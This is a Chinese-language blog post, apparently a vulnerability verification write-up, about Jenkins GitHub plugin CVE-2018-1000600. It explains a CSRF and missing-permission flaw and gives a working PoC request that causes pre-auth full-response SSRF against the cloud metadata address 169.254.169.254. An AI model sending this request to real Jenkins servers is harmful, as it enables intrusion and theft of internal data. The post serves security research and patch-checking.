Jenkins CVE-2018-1000600漏洞验证与SSRF攻击分析

本文详细分析了Jenkins GitHub插件中的CVE-2018-1000600安全漏洞,提供了具体的PoC利用方法,展示了如何通过CSRF漏洞和权限缺失实现完全响应的SSRF攻击,影响GitHub Plugin 1.29.1及以下版本。

Jenkins - CVE-2018-1000600 PoC

这是博客文章中的第二个漏洞利用

https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

与CVE-2018-1000600链接形成预认证完全响应的SSRF https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915

这影响了默认安装的GitHub插件。然而,我了解到当您启动新的jenkins实例时,它会拉取所有更新的插件(默认情况下)。我不确定人们默认设置更新最新插件的频率,但这似乎确实减少了一些这类问题。

漏洞利用适用于:GitHub Plugin 1.29.1及以下版本

当我在今天(2019年2月25日)安装Jenkins时,它默认安装了1.29.4版本,因此下面的方法不起作用。

来自博客文章:

GitHub插件中的CSRF漏洞和缺失的权限检查允许捕获凭据

它可以提取Jenkins中已知凭据ID的任何存储凭据。但是如果没有提供用户提供的值,凭据ID是一个随机UUID。所以这似乎不可能被利用?(或者如果有人知道如何获取凭据ID,请告诉我!)

尽管没有已知的凭据ID它无法提取任何凭据,但仍然存在另一种攻击原语 - 一个完全响应的SSRF!我们都知道利用盲SSRF有多难,这就是为什么完全响应的SSRF如此有价值!

PoC:

1
2
3
4
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai

要获取旧版本的插件和信息,您可以访问 https://wiki.jenkins.io/display/JENKINS/GitHub+Branch+Source+Plugin

下载旧版本 https://updates.jenkins.io/download/plugins/github-branch-source/ https://updates.jenkins.io/download/plugins/github/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计